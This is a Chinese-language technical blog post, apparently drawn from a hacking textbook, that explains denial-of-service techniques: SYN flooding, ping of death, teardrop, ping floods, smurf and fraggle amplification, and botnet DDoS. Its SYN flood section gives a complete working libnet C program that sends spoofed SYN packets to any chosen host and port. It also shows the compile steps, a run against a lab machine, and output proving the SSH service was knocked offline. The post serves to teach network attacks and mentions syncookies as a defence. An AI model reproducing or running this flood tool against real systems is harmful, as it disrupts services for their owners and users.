从程序详解拒绝服务攻击

从程序详解拒绝服务攻击


拒绝服务(Denial of Service,  DoS)攻击是最简单的网络攻击形式之一,它只阻止对服务或资源的访问,而不是试图窃取信息。DoS攻击有两种常见的形式:使服务崩溃和泛洪服务。相比基于网络的利用而言,使服务崩溃的拒绝服务攻击实际上更类似于程序利用。通常这些攻击依赖于特定供应商提供的拙劣实现。缓冲区溢出漏洞通常会使目标程序崩溃,而不是将执行流程转向注入的shellcode。如果该程序恰好在服务器上,那么在服务器崩溃之后任何人将不能访问它。类似的崩溃式DoS攻击紧紧依赖于特定程序和特定版本。因为操作系统负责处理网络堆栈,代码的崩溃会卸下内核程序,拒绝为整个机器提供服务。在现代操作系统中,许多这样的漏洞在很久以前就已经得到修补,但考虑这些技术如何应用于不同的情形仍是有用的。
1.SYN泛洪(Flooding)
SYN泛洪会耗尽TCP/IP堆栈,而不是耗尽网络带宽。因为TCP保持“可靠的”连接,所以需要在某处对每个连接进行跟踪。内核程序中的TCP/IP堆栈对此进行处理,但堆栈表有限,所以它只能跟踪若干个传入的连多。SYN泛洪攻击使用欺骗来利用这种限制。
攻击者使用一个伪造的不存在的源地址,用许多SYN数据包泛洪受害者的系统。因为SYN数据包用来打开一个TCP连接,所以受害者的机器会向伪造的地址发送一个SYN/ACK数据包作为响应,并等待预期的ACK响应。每个这种处于等待状态、半开的连接都进入空间有限的待处理队列。因为伪造的源地址实际上并不存在,所以将那些待处理队列中的记录删除并完成连接所需的ACK响应永远不会到来。相反,每个半开连接一定超时,这将花费一段比较长的时间。只要攻击者使用伪造的SYN数据包继续泛洪受害者的系统,受害者的待处理队列将一直保持满员,这使得真正的SYN数据包几乎不可能到达系统并打开有效的TCP/IP连接。利用nemesis和arpspoof的源代码作为参考,您应当能够编写出完成这种攻击的程序。下面的例子程序使用了libnet函数,它是从我们先前解释过的源代码和套接字函数中提取出来的。Nemesis的源代码使用函数libnet_get_prand()获得用于各个IP域的伪随机数。函数libnet_see_prand()用来产生随机程序的种子数。在下面的程序中,同样使用了这些函数。
Synflood.c
#include <libnet.h>
#define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.
/* Returns an IP in x.x.x.x notation */
char *print_ip(u_long *ip_addr_ptr) {
   return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
}
int main(int argc, char *argv[]) {
   u_long dest_ip;
   u_short dest_port;
   u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
   int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;
   if(argc < 3)
   {
      printf("Usage:\n%s\t <target host> <target port>\n", argv[0]);
      exit(1);
   }
   dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host
   dest_port = (u_short) atoi(argv[2]); // The port
   network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.
   if (network == -1)
      libnet_error(LIBNET_ERR_FATAL, "can't open network interface.  -- this program
 must run
as root.\n");
   libnet_init_packet(packet_size, &packet); // Allocate memory for packet.
   if (packet == NULL)
      libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
   libnet_seed_prand(); // Seed the random number generator.
   printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
   while(1) // loop forever (until break by CTRL-C)
   {
      libnet_build_ip(LIBNET_TCP_H,      // Size of the packet sans IP header.
         IPTOS_LOWDELAY,                 // IP tos
         libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)
         0,                              // Frag stuff
         libnet_get_prand(LIBNET_PR8),   // TTL (randomized)
         IPPROTO_TCP,                    // Transport protocol
         libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)
         dest_ip,                        // Destination IP
         NULL,                           // Payload (none)
         0,                              // Payload length
         packet);                        // Packet header memory
      libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)
         dest_port,                      // Destination TCP port
         libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)
         libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)
         TH_SYN,                         // Control flags (SYN flag set only)
         libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
         0,                              // Urgent pointer
         NULL,                           // Payload (none)
         0,                              // Payload length
         packet + LIBNET_IP_H);          // Packet header memory
      if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
         libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");
      byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet.
      if (byte_count < packet_size)
         libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.  (%d of %d
bytes)", byte_count, packet_size);
      usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.
   }
   libnet_destroy_packet(&packet); // Free packet memory.
   if (libnet_close_raw_sock(network) == -1) // Close the network interface.
      libnet_error(LIBNET_ERR_WARNING, "can't close network interface.");
   return 0;
}
这个程序使用print_ip()函数将u_long类型(libnet使用这种数据类型存储IP地址)转换成inet_ntoa()期望的结构类型。这个过程并不改变值——这种转换只是为了满足编译程序的需要。
Libnet当前的发行版本是1.1,它与libnet l.0不兼容。但是,nemesis和arpspoof仍依赖于libnet 1.O版,因此在LiveCD中提供的是1.0版libnet,而且在我们的synflood程序中也使用这个版本。与使用libpcap时的编译相似,使用libnet编译时,需要使用-lnet标记。但是,对于编译程序来说这些信息还不够,如下面的输出所示。
lcg@linux:~/src $ gcc -o synflood synflood.c -lnet
In file included from synflood.c:1:
/usr/include/libnet.h:87:2: #error "byte order has not been specified, you'll"
synflood.c:6: error: syntax error before string constant
lcg@linux:~/src $
编译程序仍会失败,因为需要为libnet设置若干个强制性定义标记。Libnet中包含的一个名为libnet-config的程序能输出这些标记。
lcg@linux:~/src $ libnet-config --help
Usage: libnet-config [OPTIONS]
Options:
        [--libs]
        [--cflags]
        [--defines]
lcg@linux:~/src $ libnet-config --defines
-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H
-DLIBNET_LIL_ENDIAN
通过对它们使用BASH shell的命令令替换,可以将这些定义动态插入编译命令今中。
lcg@linux:~/src $ gcc $(libnet-config --defines) -o synflood
synflood.c -lnet
lcg@linux:~/src $ ./synflood
Usage:
./synflood       <target host> <target port>
lcg@linux:~/src $
lcg@linux:~/src $ ./synflood 192.168.42.88 22
Fatal: can't open network interface.  -- this program must run as root.
lcg@linux:~/src $ sudo ./synflood 192.168.42.88 22
SYN Flooding port 22 of 192.168.42.88..
在上面的例子中,主机192.168.42.88是一个Windows XP机器,它借助cygwin在端口22上运行着一个openssh服务器。下面的tcpdump输出显示了欺骗SYN数据包从貌似随机的IP地址处泛洪了主机。程序运行时,合理的连接将不能连通这个端口。
lcg@linux:~/src $ sudo tcpdump -i eth0 -nl -c 15 "host 192.168.42.88"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S
751659999:751659999(0) win 14609
17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S
139725579:139725579(0) win 64357
17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S
322318966:322318966(0) win 43747
17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S
685911671:685911671(0) win 62957
17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S
71363071:71363071(0) win 30490
17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S
1420507902:1420507902(0) win 53397
17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S
2144342837:2144342837(0) win 10594
17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S
1185734766:1185734766(0) win 57243
17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S
1825734966:1825734966(0) win 43454
17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S
1042470133:1042470133(0) win 7087
17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S
1767717206:1767717206(0) win 50156
17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S
2127701542:2127701542(0) win 23682
17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S
2069757602:2069757602(0) win 4767
17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S
1429854465:1429854465(0) win 2092
17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S
1524034954:1524034954(0) win 26970
15 packets captured
30 packets received by filter
0 packets dropped by kernel
lcg@linux:~/src $ ssh -v 192.168.42.88
OpenSSH_4.4p2, OpenSSL 0.9.8c 05 Sep 2006
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22.
debug1: connect to address 192.168.42.88 port 22: Connection refused
ssh: connect to host 192.168.42.88 port 22: Connection refused
lcg@linux:~/src $
一些操作系统(例如Linux)设法使用一种称为syncookies的技术阻止SYN泛洪攻击。TCP堆栈利用syncookies使用一个基于主机详细信息和次数(以阻止重放攻击)的值为SYN/ACK数据包调整初始确认号码。
直到检查完TCP握手的最后一个ACK包之后,TCP连接实际上才会被激活。如果序号不匹配或ACK没有到达,就决不会创建连接。这有助于阻止欺骗性连接,因为ACK包要求向原始SYN包的源地址发送信息。
2. 死亡之ping
根据ICMP说明书,ICMP响应消息数据包的数据部分只能是216,即65536个字节。ICMP数据包的数据部分通常被忽略,因为重要的信息包含在头中。如果向某些操作系统发送超过规定大小的ICMP回送消息,系统将会崩溃。这个超大的ICMP回送消息被形象地称为“死亡之ping (ping of Death)”。这是一种非常简单的对已存在的弱点的攻击,因为从来没有人考虑过这种可能性。对您来说,利用libnet编写一个完成这种攻击的程序应当很容易,但是,在现实世界它的用处不大。所有现代的系统都修补了这个漏洞。但是,历史总会重演。尽管超大的ICMP数据包再也不会使计算机崩溃了,但新技术有时会受到类似问题的困扰。普遍应用于电话的蓝牙(Bluetooth)协议在L2CAP层上有一种类似的ping数据包,这个层也用于测量在已建立连接的通信线路上的通信时间。蓝牙的许多实现都受到相同的超大ping数据包问题的困扰。Adam Laurie、Marcel Holtmann和Martin Herfurt将这种攻击命名为Bluesmack,并且以这个名称发布了用于完成这种攻击的源代码。
3.泪滴(Teardrop)
另一个源自相同原因的类似的崩溃式DoS攻击称为泪滴(teardrop)攻击。泪滴利用了某些提供商实现IP片段重组时的弱点。通常数据包分段时,存储在头中的偏移量将无重叠地排列以重建原始数据包。泪滴攻击发送具有重叠偏移量的数据包片段,这将造成对这种不规则条件不进行检查的实现不可避免地崩溃。
虽然这种特殊的攻击不再发挥作用了,但理解这个概念可以揭示其他领域内的问题。虽然并非只局限于拒绝服务,但一种最近在OpenBSD内核(以其自身的安全性为荣)中的远程漏洞发掘与IPv6数据包碎片有关。IPv6使用更复杂的报头,甚至使用了与大多数人熟悉的IPv4不同的IP地址格式。在新产品的早期实现中,会经常重复过去所犯的相同错误。
4. ping泛洪(Flooding)
泛洪Dos攻击并不试图使服务或资源崩溃,而是使它过载从而使其不能响应。类似的攻击可以占用其他资源,例如CPU周期和系统进程,但泛洪攻击总是倾向于试图占用网络资源。
最简单的泛洪攻击形式是ping泛洪,其目的是耗尽受害者的带宽,以至于合法的流量不能通过。攻击者向受害者发送许多很大的ping数据包,消耗受害者网络连接的带宽。
这种攻击没有什么过人之处——它只是一场带宽的战斗:比受害者拥有更大带宽的攻击者能够发送大小超过受害者可以接收的极限的数据,并因此阻止其他合法流量到达受害者处。
5.放大攻击
实际上,有一些巧妙的实现ping泛洪的方式,它们不需要使用较大的带宽。放大攻击利用欺骗和广播寻址使单一的数据包流被成百倍地放大。首先,必须找到一个目标放大系统。这应当是一个允许向广播地址通信并且有较多活动主机的网络。然后,攻击者使用伪造的受害者系统的源地址向放大网络的广播地址发送大量的ICMP回送请求数据包。放大器会向放大网络的所有主机广播这些数据包,然后这些主机会向伪造的源地址(例如,向受害者的机器)发送相应的ICMP回送应答数据包,如图所示。
流量放大允许攻击者发送相对较小的ICMP回送请求数据包流,而受害者会被成百倍的ICMP回送应答数据包泛洪。可以使用ICMP数据包和UDP回送数据包实施该攻击。相应技术分别称为smurf攻击和fraggle攻击。
 
6.分布式DoS泛洪
分布式DoS (DDoS)攻击是泛洪DoS攻击的分布式版本。因为泛洪DoS攻击的目的是消耗带宽,攻击者占用的带宽越大,他们可以造成的破坏就越大。在DDoS攻击中,攻击者首先与许多其他主机达成协议并在这些主机上安装daemon软件。安装了这种软件的系统通常被称为僵尸(bot),这些系统构成了所谓的僵尸网络(botnet)。这些僵尸耐心地等待,知道攻击者挑中一个受害者并且决定发动攻击。攻击者使用某些控制程序,并且所有僵尸同时使用某种泛洪DoS攻击向受害者发起进攻。大量分散的主机不但增加了泛洪的效果,而且也使得对攻击源的跟踪更加困难。

下回将讲解Tcp/Ip劫持技术

本文出自 “李晨光原创技术博客” 博客,谢绝转载!

你可能感兴趣的:(dos)